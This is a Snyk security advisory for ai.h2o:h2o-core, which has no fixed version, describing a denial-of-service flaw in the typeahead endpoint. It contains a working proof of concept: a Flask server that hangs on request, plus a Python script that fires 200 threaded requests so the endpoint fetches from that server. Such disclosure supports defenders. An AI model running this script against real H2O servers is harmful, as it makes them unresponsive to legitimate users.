Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for ai.h2o:h2o-core
.
Affected versions of this package are vulnerable to Synchronous Access of Remote Resource without Timeout via the typeahead endpoint due to lacking timeout when checking that a specified resource exists. An attacker can cause the application to block and become unresponsive to other requests by sending multiple requests to an attacker-controlled server that hangs.
Run the h2o-app using java -jar h2o.jar;
Run the following Flask server:
from flask import Flask import time
app = Flask(name)
@app.route("/", defaults={"path": ""}) @app.route("/<path:path>", methods=["GET", "POST"]) def catch_all(path): if "slow" in path: time.sleep(10000) return "OK", 200
if name == 'main': app.run()
import threading import requests
H2O_ADDRESS = "x.x.x.x" FLASK_ADDRESS = "x.x.x.x"
def send_req(): s = "http://{}:54321/3/Typeahead/files?src=http://{}:5000/slow&limit=-1".format(H2O_ADDRESS, FLASK_ADDRESS) requests.get(s)
Not completely sure how many are necessary.
It seems like there just needs to be enough for it to exhaust all workers/threads.
for x in range(200): threading.Thread(target=send_req).start()